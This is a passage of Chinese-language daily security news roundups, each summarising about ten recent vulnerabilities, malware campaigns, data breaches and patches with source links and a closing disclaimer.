https://securityonline.info/critical-flaw-cve-2025-24936-cvss-9-0-in-nokia-wavesuite-noc-expose-telecom-networks-to-rce/ 诺基亚WS-NOC平台曝出两个高危漏洞（CVE-2025-24938和CVE-2025-24936，CVSS 8.4/9.0），允许攻击者通过高低权限账户执行系统命令，威胁全球电信网络安全，官方已发布补丁。 10、Windows 11推出新黑屏死机自动恢复工具 https://www.anquanke.com/post/id/310434 微软正在推出重大更新，作为Windows 11 24H2版的一部分，旨在减少系统停机时间，并帮助设备在发生严重故障时自我恢复，同时对广为人知的“蓝屏死机”（BSOD）崩溃界面进行全面升级。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、PoisonSeed利用二维码钓鱼绕过FIDO密钥保护 https://expel.com/blog/poisonseed-downgrading-fido-key-authentications-to-fetch-user-accounts/ 黑客组织PoisonSeed利用一种新颖的攻击技术，通过二维码钓鱼和跨设备登录滥用绕过了FIDO密钥的保护。FIDO密钥是一种基于硬件或软件的身份验证器，旨在通过公私密钥加密将登录信息绑定到特定域，以防止网络钓鱼。然而，攻击者利用FIDO密钥的跨设备登录功能，诱骗用户在不知情的情况下批准恶意会话的身份验证。这种攻击技术主要针对不强制执行严格邻近度检查的跨设备流程，例如蓝牙或本地设备认证。攻击链始于一封钓鱼 2、ExpressVPN漏洞致远程桌面用户IP泄露 https://www.bleepingcomputer.com/news/security/expressvpn-bug-leaked-user-ips-in-remote-desktop-sessions/ ExpressVPN修复了其Windows客户端的一个漏洞。该漏洞导致远程桌面协议（RDP）流量绕过VPN隧道，暴露用户真实IP地址。ExpressVPN是顶级VPN服务提供商，以无日志政策和仅RAM服务器著称。2025年4月25日，安全研究员通过漏洞赏金计划报告了该问题。调查显示，漏洞是由于调试代码残余被错误包含在生产版本中。受影响版本为12.97至12.101.0.2-beta。 3、戴尔测试平台遭勒索组织World Leaks入侵 https://www.bleepingcomputer.com/news/security/dell-confirms-breach-of-test-lab-platform-by-world-leaks-extortion-group/ 戴尔确认其客户解决方案中心平台遭“世界泄密”（World Leaks）勒索组织入侵，该平台用于向客户展示戴尔产品和解决方案。入侵发生在本月初，攻击者窃取了平台数据，包括合成数据、公开数据及少量过时联系人信息。尽管“世界泄密”声称窃取了1.3TB数据，但戴尔表示被盗数据主要是用于产品演示的非敏感信息。该勒索组织原名“猎人国际”，于2025年1月更名为“世界 4、伊朗APT组织部署新型恶意软件DCHSpy https://www.lookout.com/threat-intelligence/article/lookout-discovers-iranian-dchsy-surveillanceware 以色列与伊朗冲突期间，研究人员发现伊朗网络间谍组织MuddyWater部署了新的DCHSpy恶意软件样本。DCHSpy是一款Android监控工具，可收集设备上的账户信息、联系人、短信、文件、位置数据、通话记录以及WhatsApp数据，甚至能通过控制麦克风和相机进行录音和拍照。此次攻击利用StarLink诱饵伪装成VPN应用进行传播，目标可能是使用StarLink服务的伊朗用户。DCHSpy与 5、多款热门 npm 包遭钓鱼攻击劫持并用于投放恶意软件 https://www.anquanke.com/post/id/310334 本周，多款流行的 JavaScript 库遭劫持并被用于投放恶意软件，这是一场通过精准钓鱼攻击和凭证窃取实施的软件供应链攻击事件。其中最受欢迎的 npm 包 eslint-config-prettier 每周下载量超过 3000 万次，在其维护者遭遇钓鱼攻击后被攻破。攻击者还针对该维护者名下的其他包发起攻击，包括 eslint-plugin-prettier、synckit、@pkgr/core 和 napi-postinstall。 6、LV近42万香港客户资料外泄，官方主动通知用户 https://www.secrss.com/articles/81135 据北京商报援引香港《文汇报》等媒体报道，法国奢侈品牌路易威登（Louis Vuitton）近日发客户信，称发生客户资料外泄事件，近42万名香港客户受影响。外泄的资料涉及客户姓名、护照号码、出生日期、地址、电邮地址、电话号码、购物记录和产品喜好资料。 7、Windows Server KB5062557 导致集群和虚拟机问题 https://www.bleepingcomputer.com/news/microsoft/microsoft-windows-server-kb5062557-causes-cluster-vm-issues Microsoft 建议企业联系支持以缓解安装本月 Windows Server 2019 安全更新后导致的群集服务和虚拟机重启问题已知问题。安装于 7 月 8 日发布的 KB5062557 更新后，群集服务（一个对群集操作至关重要的系统组件）可能会无法正常工作。 8、Helmholz 工业路由器发现八个漏洞易受攻击 https://www.securityweek.com/vulnerabilities-expose-helmholz-industrial-routers-to-hacking/ 最近，德国工业和自动化解决方案提供商 Helmholz 生产的路由器中发现并修复了几个可能严重的漏洞。在 Helmholz 的 REX 100 路由器中发现的八个安全漏洞，这些漏洞使组织能够远程访问和管理工业网络。这些安全漏洞的存在上周被揭露。 9、迪奥称客户个人信息在网络攻击中被盗取 https://www.securityweek.com/dior-says-personal-information-stolen-in-cyberattack/ 迪奥这家法国奢侈时尚巨头通知客户，其个人资料可能在 2025 年 1 月遭到数据泄露。该公司表示，该事件发生在 2025 年 1 月 26 日，涉及未经授权访问包含迪奥客户信息的数据库。 10、微软警告SharePoint存在零日漏洞已被利用，目前无补丁可用 https://www.securityweek.com/sharepoint-under-attack-microsoft-warns-of-zero-day-exploited-in-the-wild-no-patch-available/ Microsoft 在周六向 SharePoint Server 的用户发出紧急警告，称有活跃的攻击正在利用该软件产品中的零日漏洞，该漏洞已被分配了 CVE-2025-53770，CVSS 评分为 9.8。目前尚无针对这一缺陷的补丁，“ToolShell”这一名称被用来指代该漏洞，微软表示它是一种 CVE-2025-49706 的变种。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、EncryptHub利用虚假AI平台攻击Web3开发者 https://catalyst.prodaft.com/public/report/larva-208s-new-campaign-targets-web3-developers/overview#heading-1001 网络安全机构发现，名为EncryptHub的威胁行为体针对Web3开发者发起攻击活动，通过虚假AI平台（如模仿Teampilot的Norlax AI）以工作机会或投资组合审查为由引诱受害者。攻击者利用欺骗性会议链接，诱使开发者点击，进而下载伪装成正版Realtek HD音频驱动程序的恶意软件Fickle Stealer，窃取加密货币钱包、开发凭证和敏感项目数据。此次行动 2、未修补SharePoint零日漏洞致75台以上服务器遭入侵 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770 微软披露了一个严重的SharePoint零日漏洞（CVE-2025-53770，CVSS评分9.8），该漏洞已被用于大规模攻击活动，导致超过75台公司服务器被入侵。该漏洞是CVE-2025-49706（CVSS评分6.3）的变体，后者已在7月补丁更新中修复。攻击者利用该漏洞在身份验证前执行代码，窃取机器密钥以实现持久化和横向移动。微软表示正在测试全面更新，同时建议客户配置AMSI集成并部署Defender AV。目前，全球已有超过85台SharePoint 3、Ivanti零日漏洞被利用投放恶意木马 https://thehackernews.com/2025/07/ivanti-zero-days-exploited-to-drop.html 网络安全研究人员披露，名为MDifyLoader的新恶意软件与利用Ivanti Connect Secure (ICS)设备安全漏洞的攻击有关。攻击者利用CVE-2025-0282和CVE-2025-22457漏洞投放MDifyLoader，并在内存中启动Cobalt Strike。CVE-2025-0282允许未经身份验证的远程代码执行，已于2025年1月修复；CVE-2025-22457是一个堆栈缓冲区溢出漏洞，已于2025年4月修复。攻击者 4、日本警方免费发布Phobos和8Base勒索软件解密器 https://www.bleepingcomputer.com/news/security/new-phobos-ransomware-decryptor-lets-victims-recover-files-for-free 日本警方发布了针对Phobos和8Base勒索软件的免费解密器，受害者可以通过该工具免费恢复被加密的文件。Phobos是一个勒索软件即服务（RaaS）组织，自2018年12月启动以来，对全球许多企业发动了攻击。2023年，8Base勒索软件行动启动，采用双重勒索手段，加密文件并窃取数据。2024年，一名涉嫌领导Phobos行动的俄罗斯国民被引渡到美国。今年，国际执法 5、慧与HPE Instant On设备存在硬编码凭证漏洞 https://thehackernews.com/2025/07/hard-coded-credentials-found-in-hpe.html 惠普修复HPE Instant On接入点高危漏洞（CVE-2025-37103，CVSS 9.8），攻击者可利用硬编码凭证获取管理员权限，并与命令注入漏洞（CVE-2025-37102）组合攻击。建议用户尽快升级至3.2.1.0及以上版本。 6、Livewire远程代码执行漏洞威胁数百万Laravel应用 https://securityonline.info/critical-livewire-rce-cve-2025-54068-threatens-millions-of-laravel-apps-patch-immediately/ Livewire框架3.6.3及更早版本存在高危RCE漏洞(CVE-2025-54068)，攻击者可未授权执行任意代码，影响数百万应用。官方已发布3.6.4修复版本，要求立即升级，无临时缓解方案。 7、Arch Linux 移除了多个被植入木马的 AUR 软件包 https://www.anquanke.com/post/id/310327 Arch Linux官方已下架三款被植入远程访问木马（RAT）“CHAOS”的恶意软件包，这些软件包此前被上传至Arch用户社区仓库（AUR），并可在Linux系统中执行恶意远程控制行为。 8、Oracle云代码编辑器曝RCE漏洞，允许攻击者上传恶意文件 https://www.anquanke.com/post/id/310236 Oracle云基础设施（OCI）代码编辑器近日被披露存在一个严重的远程代码执行（RCE）漏洞，攻击者可通过用户的一次点击操作，静默劫持其 Cloud Shell 环境。该漏洞目前已被修复，影响范围包括代码编辑器所集成的多个服务模块，如资源管理器（Resource Manager）、函数服务（Functions）和数据科学（Data Science），凸显了看似独立的云开发工具如何可能演变为攻击载体。 9、谷歌修复Chrome中被利用的沙箱逃逸零日漏洞 https://www.anquanke.com/post/id/310244 谷歌已发布Chrome浏览器安全更新，修复包括一处被攻击者主动利用的漏洞在内的六个安全缺陷。该漏洞编号为CVE-2025-6558，严重性评级为高（CVSS分数8.8），由谷歌威胁分析团队（TAG）于6月23日发现。 10、360联合清华大学发布全球首份智能体安全报告，曝光20+漏洞 https://www.anquanke.com/post/id/310267 近日，360联合清华大学发布全球首份漏洞视角的《智能体安全实践报告》，通过典型攻击面梳理和漏洞挖掘研究，深入分析智能体全生命周期链路各个场景的安全风险。结合360安全智能体的高效代码分析能力以及特有的特征库，发现并分析了智能体相关开源项目漏洞20余个，其中不乏被广泛使用的Github高星项目，旨在提供智能体安全的综合性视角，为智能体安全生态的持续、积极发展贡献力量。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、僵尸网络BADBOX 2.0全球蔓延威胁升级 https://hackread.com/badbox-2-0-preinstalled-android-iot-devices-worldwide/ 近日，BADBOX 2.0 恶意软件在全球222个国家和地区超过100万台Android物联网设备上被发现，将设备变成欺诈和恶意活动的代理节点，被美国联邦调查局列为全球性威胁。该软件通过libanl.so后门库深嵌于固件，恢复出厂设置后仍可运行，通过隐藏广告点击活动牟利，还会在用户不知情时进行点击欺诈、凭证填充等攻击。其主要通过不受监管的供应链传播，常见于低成本智能电视、流媒体盒等设备。用户若发现设备运行缓慢、异常发热或闲置时网络流量异常，可 2、研究人员披露Windows Server 2025 dMSA漏洞 https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/ 网络安全研究人员披露了Windows Server 2025中委托托管服务帐户（dMSA）存在的严重设计缺陷。该漏洞被称为Golden dMSA攻击，攻击者可利用其绕过身份验证并为所有dMSA和组托管服务帐户（gMSA）生成密码。攻击者需先获取密钥分发服务（KDS）根密钥，再通过枚举dMSA帐户、猜测ManagedPasswordId属性并生成密码，实现跨域横向移动和持久访问。该攻击利用了密码生成结构中的可预测时间组件，仅需1024次尝试 3、联合天然食品公司网络攻击致4亿美元销售损失 https://cyberscoop.com/united-natural-foods-cyberattack-400-million/ 联合天然食品公司（United Natural Foods）上月遭遇网络攻击，导致系统瘫痪并完全关闭，造成高达4亿美元的销售额损失。该公司于6月5日发现攻击，并在四天后披露。此次攻击由经济动机的网络犯罪团伙Scattered Spider发起，该团伙自重组以来已攻击多个行业。联合天然食品公司负责向北美3万个客户地点配送产品，攻击导致其未能完成订单，商店货架空空如也。公司预计网络保险将覆盖恢复成本，但补偿可能在2026财年到来。目前，公司已基本恢复正常运营。 4、GhostContainer后门攻击亚洲Exchange服务器 https://securelist.com/ghostcontainer/116953/ 网络安全研究团队发现了一种名为GhostContainer的复杂后门恶意软件，专门针对亚洲地区高价值组织（包括政府机构和高科技公司）的Exchange服务器。该恶意软件通过已知的N-day漏洞入侵Exchange服务器，采用多种规避技术伪装成正常服务器组件，以逃避安全检测。GhostContainer具备多种功能，包括执行Shellcode、下载文件、运行命令、加载其他模块等，并可充当Web代理或隧道，将内部网络暴露于外部威胁。攻击者利用多个开源项目构建了该后门，使其能够动态扩展功能。目前，相关攻击活 5、npm代码检查包遭钓鱼攻击被植入恶意软件 https://www.bleepingcomputer.com/news/security/popular-npm-linter-packages-hijacked-via-phishing-to-drop-malware/ 流行的JavaScript代码检查工具包eslint-config-prettier和eslint-plugin-prettier被网络钓鱼攻击劫持，用于植入恶意软件。这两个包的维护者在遭受钓鱼邮件攻击后，其npm账户凭证被盗，导致攻击者发布了多个未经授权且包含恶意代码的版本。这些恶意版本在安装时会运行一个名为“install.js”的脚本，尝试在Windows系统上 6、CrushFTP零日漏洞被用于劫持服务器 https://www.bleepingcomputer.com/news/security/new-crushftp-zero-day-exploited-in-attacks-to-hijack-servers/ CrushFTP警告称，威胁行为体正在积极利用编号为CVE - 2025 - 54309的零日漏洞，该漏洞允许攻击者通过易受攻击的服务器上的Web界面获得管理访问权限。CrushFTP是一款企业级文件传输服务器，广泛用于通过FTP、SFTP、HTTP/S等协议安全共享和管理文件。该漏洞首次被发现于7月18日上午9点（CST），攻击者可能早在7月17日凌晨就开始利用该漏洞。Cru 7、中东监控公司利用SS7漏洞追踪手机位置 https://techcrunch.com/2025/07/18/a-surveillance-vendor-was-caught-exploiting-a-new-ss7-attack-to-track-peoples-phone-locations/ 安全研究人员发现中东一家监控公司利用新的攻击手段，绕过电话运营商的安全保护措施，诱骗其泄露手机用户的位置信息。SS7是全球电话运营商用于路由电话和短信的私有协议，也可用于获取用户手机连接的信号塔信息。此次攻击利用了SS7协议漏洞，可将用户定位到最近的信号塔，甚至在城市地区缩小到几百米范围内。网络安全公司早在 2024 年底就观察到此类攻击 8、英伟达漏洞致AI与机器人平台面临RCE和数据泄露风险 https://www.freebuf.com/articles/system/440351.html 英伟达已针对其Jetson Linux和IGX平台发布安全更新，修复了两个可能导致系统遭受代码执行、数据篡改、服务拒绝和信息泄露的漏洞。这两个编号为CVE-2025-23270和CVE-2025-23269的漏洞影响广泛用于人工智能、机器人和嵌入式边缘计算的Jetson Orin及Xavier系列产品。 9、首款AI驱动的恶意软件LameHug问世，与俄APT28存在关联 https://www.freebuf.com/articles/ai-security/440247.html 乌克兰计算机应急响应小组（CERT-UA）近日发出警告，发现一款名为LameHug的新型恶意软件，该软件利用大语言模型（LLM）在受感染的Windows系统上生成并执行恶意指令。乌克兰专家将其归因于与俄罗斯有关的APT28黑客组织（又名UAC-0001、Fancy Bear、Pawn Storm等）。 10、BIND 9 DNS解析软件漏洞使全球企业面临缓存投毒与DoS攻击风险 https://www.freebuf.com/articles/network/440203.html BIND 9 DNS解析软件中的两个高危漏洞正影响全球企业，可能导致缓存投毒和拒绝服务攻击。这两个编号为CVE-2025-40776和CVE-2025-40777的漏洞对DNS基础设施构成重大安全风险，特别是配置了特定高级功能的解析器。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、黑客利用微软Teams传播Matanbuchus 3.0 https://www.morphisec.com/blog/ransomware-threat-matanbuchus-3-0-maas-levels-up/ Matanbuchus 3.0，一种恶意软件即服务（MaaS），于 2025 年 7 月发布，引入了多种先进技术，如改进的通信协议、内存隐身功能和增强的混淆技术。该版本通过冒充 IT 服务台的 Microsoft Teams 电话诱导受害者执行恶意脚本，从而在受感染的 Windows 系统上下载并执行辅助负载。它能够收集系统数据（包括 EDR 安全控制），并根据这些数据定制后续攻击，最终可能导致勒索软件入侵。安全专家提醒，企业和用户 2、UNC6148利用后门攻击SonicWall SMA系列设备 https://cloud.google.com/blog/topics/threat-intelligence/sonicwall-secure-mobile-access-exploitation-overstep-backdoor UNC6148 威胁行为体正在针对已完全修补的 SonicWall 安全移动访问（SMA）100 系列设备发起攻击活动。攻击者利用之前入侵过程中窃取的凭证和一次性密码（OTP）种子，即使在组织已应用安全更新后，也能重新获得访问权限。攻击者部署了一个名为 OVERSTEP 的后门程序，该程序能够修改设备的启动过程以维持持久访问，窃取凭证并隐藏自身组件。攻击者通 3、Cloudflare 1.1.1.1中断源于内部配置错误 https://www.bleepingcomputer.com/news/security/cloudflare-says-1111-outage-not-caused-by-attack-or-bgp-hijack/ Cloudflare于2025年7月14日发生全球性中断，影响了其1.1.1.1公共DNS解析器服务，导致许多用户无法正常使用互联网。事后分析显示，此次中断并非由网络攻击或BGP劫持引起，而是由于内部配置错误。6月6日，Cloudflare对数据本地化套件（DLS）进行了配置更改，错误地将1.1.1.1解析器IP前缀链接到非生产DLS服务。7月14日的一次更新触发了错误配置 4、NVIDIA容器工具包漏洞可导致权限提升任意代码执行 https://www.freebuf.com/articles/system/440080.html NVIDIA已发布关键安全更新，修复其容器工具包（Container Toolkit）和GPU Operator中的两个高危漏洞，攻击者可利用这些漏洞以提升的权限执行任意代码。这两个编号为CVE-2025-23266和CVE-2025-23267的漏洞，影响所有运行NVIDIA容器工具包1.17.7及以下版本和GPU Operator 25.3.0及以下版本的平台。 5、联想预装程序Vantage漏洞可用于获取SYSTEM权限 https://www.freebuf.com/articles/system/439807.html 最新披露的三个漏洞（CVE-2025-6230、CVE-2025-6231和CVE-2025-6232）表明，一个受信任的OEM工具可能成为完全控制计算机的跳板。联想Vantage预装在大多数ThinkPad和ThinkBook笔记本电脑上，其核心服务以_NT AUTHORITY\SYSTEM_权限运行，并动态加载C#插件来提供更新、硬件控制和遥测功能。由于这些插件需要通过专有的JSON-over-RPC协议与特权服务通信，输入验证或路径处理中的任何缺陷都会立即扩大本地攻击者的攻击面。 6、思科ISE曝严重漏洞，无需认证即可获取root权限 https://www.freebuf.com/articles/system/439747.html 思科身份服务引擎（Cisco Identity Services Engine，简称ISE）及其策略集成组件（ISE-PIC）中发现一个严重漏洞，编号为CVE-2025-20337。该漏洞获得CVSS最高风险评分10分，凸显其严重性和潜在影响。根据思科安全公告，该漏洞源于特定API中"对用户输入验证不足"的问题。这意味着未经身份验证的远程攻击者无需任何凭证，就能以root权限在底层操作系统上执行任意代码。 7、甲骨文发布关键安全更新：修复309个漏洞，其中145个可远程利用 https://www.freebuf.com/articles/es/439680.html 甲骨文公司于7月15日发布2025年7月关键补丁更新，为其广泛的产品组合修复了309个安全漏洞。此次季度安全更新是近年来最全面的补丁之一，针对数据库系统、中间件、云应用和企业软件中的关键缺陷，这些漏洞可能使企业面临严重的网络攻击风险。 8、专攻物理隔离！美军投资部署新型战术级网络攻击装备 https://www.secrss.com/articles/81025 美国参议院军事委员会2026年度国防政策法案要求，审查未来网络作战兵力的运用概念，以应对战术级网络作战趋势；近一年多以来，美军各军种纷纷投资部署网电融合战术装备，以针对非IP协议和网络隔离的作战目标，网络司令部也在研究如何充分利用这些装备和部队，来更好地实施网络作战任务。 9、热门健身应用Fitify数据泄露37.3 万份私密文件 https://www.secrss.com/articles/81008 健身应用 Fitify 因谷歌云存储桶配置错误导致37.3万份用户数据遭公开暴露，其中包括13.8万张用于追踪健身进度的隐私照片（部分涉及穿着较少内容）及6000份身体扫描数据，暴露原因为存储桶未设置访问权限控制。 10、黑客窃取BigONE 交易所加密货币2700万美元 https://www.bleepingcomputer.com/news/security/hacker-steals-27-million-in-bigone-exchange-crypto-breach/ 加密货币交易平台 BigONE 披露，昨日黑客在一次攻击中盗取了价值 2700 万美元的各种数字资产。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、攻击者利用HazyBeacon后门攻击东南亚政府部门 https://unit42.paloaltonetworks.com/windows-backdoor-for-novel-c2-communication/ 研究人员追踪了一个代号为CL-STA-1020的攻击活动，目标是东南亚的政府机构。攻击者开发了一个名为HazyBeacon的新型Windows后门，利用AWS Lambda URL作为命令与控制（C2）基础设施，通过合法的云服务进行隐蔽通信。攻击者通过DLL侧载技术部署后门，并利用Google Drive和Dropbox进行数据渗漏，收集与近期贸易争端相关的敏感信息。专家提醒，加强对云资源的监控和检测策略，以识别可疑的通信模式，并防 2、新兴勒索软件GLOBAL GROUP威胁全球多行业 https://blog.eclecticiq.com/global-group-emerging-ransomware-as-a-service 安全人员发现了一个名为GLOBAL GROUP的新兴勒索软件即服务（RaaS）品牌，该组织由代号为“$$”的威胁行为者在Ramp4u论坛上推广。GLOBAL GROUP的目标客户主要包括美国和欧洲的多个行业，尤其在医疗保健和工业领域。该组织可能是Black Lock RaaS品牌的重塑，旨在重建信誉并扩大其联盟网络。GLOBAL GROUP通过Tor网络运营专用泄密网站，并声称已有17名受害者，其中大多数来自医疗行业。该组织利用初始访问代理（I 3、恶意软件Konfety变种采用新型规避技术 https://zimperium.com/blog/konfety-returns-classic-mobile-threat-with-new-evasion-techniques 知名恶意软件Konfety的新型变种再次出现，以安卓系统为目标，采用多种复杂技术进行欺诈活动。该恶意软件通过“邪恶双胞胎”方法，即在官方商店发布良性应用，同时通过第三方渠道分发恶意版本，两者共享相同软件包名称，以增强其规避能力和影响力。此外，该恶意软件还采用ZIP级别逃避技术，篡改APK结构，破坏分析工具；利用动态代码加载隐藏关键功能；采用隐身技术隐藏图标，模仿合法应用；并利用CaramelAds SDK进行 4、技嘉主板UEFI漏洞可被恶意软件攻击 https://www.bleepingcomputer.com/news/security/gigabyte-motherboards-vulnerable-to-uefi-malware-bypassing-secure-boot/ 安全研究人员发现技嘉主板存在严重漏洞，其UEFI固件可被恶意软件攻击。这些漏洞允许攻击者在系统管理模式下执行任意代码，绕过安全启动功能，植入持久性恶意软件。研究人员共发现四个漏洞（CVE-2025-7026至CVE-2025-7029），均被评为高危级别。受影响主板型号超过240种，涉及多个产品线。固件供应商AMI已修复漏洞，但技嘉尚未发布修复程序。许多受影 5、7.3Tbps最大规模DDoS攻击创纪录 https://cybersecuritynews.com/record-breaking-ddos-attack-7-3-tbps/ 2025年DDoS攻击规模创新高，Cloudflare成功抵御7.3Tbps破纪录攻击，电信行业成主要目标。攻击复杂度和频率激增，自动化防御成关键，网络安全需董事会级重视。 6、Node.js漏洞威胁数百万Windows应用 https://securityonline.info/high-severity-node-js-flaws-expose-windows-apps-to-path-traversal-cve-2025-27210-hashdos-cve-2025-27209-attacks/ OpenJS基金会紧急修复Node.js高危漏洞CVE-2025-27210（Windows路径穿越）和CVE-2025-27209（V8引擎HashDoS），影响全球数百万应用，已发布20.19.4、22.17.1和24.4.1修复版本。 7、 Apache CXF 漏洞拒绝服务与数据泄露双重风险 https://securityonline.info/apache-cxf-vulnerability-dos-and-data-leak-risks-exposed-cve-2025-48795/ Apache CXF曝高危漏洞（CVE-2025-48795），影响3.5.10-4.1.0版本，可能导致DoS攻击和敏感数据泄露。攻击者可利用内存耗尽或窃取日志中的明文凭证。建议立即升级至修复版本3.5.11/3.6.6/4.0.7/4.1.1。 8、三星WLAN无线接入点曝高危漏洞可获取Root权限 https://securityonline.info/critical-pre-auth-root-rce-found-in-samsung-wlan-aps-poc-published-patch-now/ 三星WLAN AP曝高危漏洞，攻击者可远程获取root权限执行任意代码，无需认证。厂商已发布补丁，建议立即检查设备并更新，或配置ACL临时防护。 9、欧洲警方协调全球行动捣毁亲俄网络犯罪团伙 https://www.securityweek.com/europol-coordinated-global-operation-takes-down-pro-russian-cybercrime-network/ 欧洲刑警组织周三宣布，一场协调国际行动已打击与针对乌克兰及其盟友的一系列拒绝服务攻击有关的亲俄网络犯罪团伙的基础设施。 10、SonicWall 设备受到新型“Overstep”恶意软件攻击 https://www.securityweek.com/sonicwall-sma-appliances-targeted-with-new-overstep-malware/ 谷歌的威胁情报小组在周三警告一个可能出于经济动机的威胁行为者正在利用一种新的恶意软件攻击 SonicWall 设备。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。